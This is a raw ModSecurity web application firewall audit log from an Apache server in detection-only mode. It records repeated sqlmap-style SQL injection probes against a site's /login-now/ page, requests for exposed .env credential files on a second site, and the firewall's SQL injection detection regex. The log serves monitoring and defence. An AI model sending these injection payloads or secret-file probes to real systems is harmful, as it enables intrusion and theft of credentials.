"[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (4528=4528 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 4070 in (select (char(113)+char(122)+char(107)+char(106)+char(113)+(select (case when (4070=4070) then char(49) else char(48) end))+char(113)+char(122)+char(113)+char(107)+char(113))) and (4528=4528"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89nh-kH31pk4mNbsU_OgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023582655211 56001 (- - -) Stopwatch2: 1750023582655211 56001; combined=3035, p1=350, p2=2565, p3=0, p4=0, p5=120, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3ca0e33-Z-- --d0c77223-A-- [16/Jun/2025:03:09:43.398178 +0530] aE89ntkGqt_oHz6gRVdJJQAAAAw 185.177.72.210 52854 127.0.0.1 7081 --d0c77223-B-- GET /.env.sample.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d0c77223-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=84d901b6436fbf1f008b1139917b8aa41750023583; expires=Sun, 15 Jun 2025 22:39:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d0c77223-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.sample.php"] [unique_id "aE89ntkGqt_oHz6gRVdJJQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023582709937 688316 (- - -) Stopwatch2: 1750023582709937 688316; combined=1721, p1=343, p2=1270, p3=0, p4=0, p5=108, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0c77223-Z-- --3a1a966f-A-- [16/Jun/2025:03:09:43.587210 +0530] aE89n_kun2jazaBvM9tuLwAAAAE 172.71.164.157 52896 127.0.0.1 7081 --3a1a966f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%204070%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28107%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%284070%3D4070%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%29%29%20AND%20%28%27KRol%27%3D%27KRol HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.157 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538c4bf79d2a6-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3a1a966f-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --3a1a966f-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('krol'='krol found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 4070 in (select (char(113)+char(122)+char(107)+char(106)+char(113)+(select (case when (4070=4070) then char(49) else char(48) end))+char(113)+char(122)+char(113)+char(107)+char(113))) and ('krol'='krol"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('krol'='krol found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 4070 in (select (char(113)+char(122)+char(107)+char(106)+char(113)+(select (case when (4070=4070) then char(49) else char(48) end))+char(113)+char(122)+char(113)+char(107)+char(113))) and ('krol'='krol"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89n_kun2jazaBvM9tuLwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023583533852 53451 (- - -) Stopwatch2: 1750023583533852 53451; combined=4076, p1=358, p2=3583, p3=0, p4=0, p5=135, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a1a966f-Z-- --d931b559-A-- [16/Jun/2025:03:09:44.150644 +0530] aE89oIrLgrklqy57Kk2cVQAAAAg 162.158.87.78 52946 127.0.0.1 7081 --d931b559-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%204070%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28107%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%284070%3D4070%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%29%29%20AND%20%27mIke%27%3D%27mIke HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.87.78 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538c6ae4e9b4f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --d931b559-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6629 Connection: close Content-Type: text/html; charset=UTF-8 --d931b559-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'mike'='mike found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 4070 in (select (char(113)+char(122)+char(107)+char(106)+char(113)+(select (case when (4070=4070) then char(49) else char(48) end))+char(113)+char(122)+char(113)+char(107)+char(113))) and 'mike'='mike"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'mike'='mike found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 4070 in (select (char(113)+char(122)+char(107)+char(106)+char(113)+(select (case when (4070=4070) then char(49) else char(48) end))+char(113)+char(122)+char(113)+char(107)+char(113))) and 'mike'='mike"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89oIrLgrklqy57Kk2cVQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023584096765 53970 (- - -) Stopwatch2: 1750023584096765 53970; combined=4382, p1=384, p2=3860, p3=0, p4=0, p5=137, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d931b559-Z-- --de10d962-A-- [16/Jun/2025:03:09:45.292603 +0530] aE89oVR6EeXjkGzEkbllCgAAAAs 172.71.164.191 52988 127.0.0.1 7081 --de10d962-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%205401%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285401%3D5401%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%284826%3D4826 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.191 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538cdc890d296-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --de10d962-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --de10d962-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (4826=4826 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 5401=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(122)||chr(107)||chr(106)||chr(113)||(select (case when (5401=5401) then 1 else 0 end) from dual)||chr(113)||chr(122)||chr(113)||chr(107)||chr(113)||chr(62))) from dual) and (4826=4826"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (4826=4826 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 5401=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(122)||chr(107)||chr(106)||chr(113)||(select (case when (5401=5401) then 1 else 0 end) from dual)||chr(113)||chr(122)||chr(113)||chr(107)||chr(113)||chr(62))) from dual) and (4826=4826"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89oVR6EeXjkGzEkbllCgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023585223498 69202 (- - -) Stopwatch2: 1750023585223498 69202; combined=3479, p1=389, p2=2907, p3=0, p4=0, p5=183, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de10d962-Z-- --f4ccd371-A-- [16/Jun/2025:03:09:45.402740 +0530] aE89oHZqyQ8YfVGvJU7Y0AAAAAY 185.177.72.210 52966 127.0.0.1 7081 --f4ccd371-B-- GET /admin/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f4ccd371-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=511ec99ead9724ac0ebe68f3551a2d641750023585; expires=Sun, 15 Jun 2025 22:39:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f4ccd371-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env.old"] [unique_id "aE89oHZqyQ8YfVGvJU7Y0AAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env.old"] [unique_id "aE89oHZqyQ8YfVGvJU7Y0AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023584720866 681952 (- - -) Stopwatch2: 1750023584720866 681952; combined=2251, p1=477, p2=1620, p3=0, p4=0, p5=154, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f4ccd371-Z-- --e4736849-A-- [16/Jun/2025:03:09:46.416122 +0530] aE89ovkun2jazaBvM9tuMQAAAAE 172.71.172.143 53044 127.0.0.1 7081 --e4736849-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%205401%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285401%3D5401%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%28%27kYPu%27%3D%27kYPu HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.143 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538d4da1ad39e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e4736849-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --e4736849-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('kypu'='kypu found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 5401=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(122)||chr(107)||chr(106)||chr(113)||(select (case when (5401=5401) then 1 else 0 end) from dual)||chr(113)||chr(122)||chr(113)||chr(107)||chr(113)||chr(62))) from dual) and ('kypu'='kypu"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('kypu'='kypu found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 5401=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(122)||chr(107)||chr(106)||chr(113)||(select (case when (5401=5401) then 1 else 0 end) from dual)||chr(113)||chr(122)||chr(113)||chr(107)||chr(113)||chr(62))) from dual) and ('kypu'='kypu"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89ovkun2jazaBvM9tuMQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023586353287 62929 (- - -) Stopwatch2: 1750023586353287 62929; combined=5001, p1=450, p2=4400, p3=0, p4=0, p5=150, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e4736849-Z-- --d0a56d47-A-- [16/Jun/2025:03:09:46.994351 +0530] aE89ool8S04UZ4l67-nejAAAAAk 172.69.151.87 53102 127.0.0.1 7081 --d0a56d47-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%205401%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285401%3D5401%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%27pPEL%27%3D%27pPEL HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.151.87 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538d869c14d9c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --d0a56d47-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --d0a56d47-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'ppel'='ppel found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 5401=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(122)||chr(107)||chr(106)||chr(113)||(select (case when (5401=5401) then 1 else 0 end) from dual)||chr(113)||chr(122)||chr(113)||chr(107)||chr(113)||chr(62))) from dual) and 'ppel'='ppel"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] 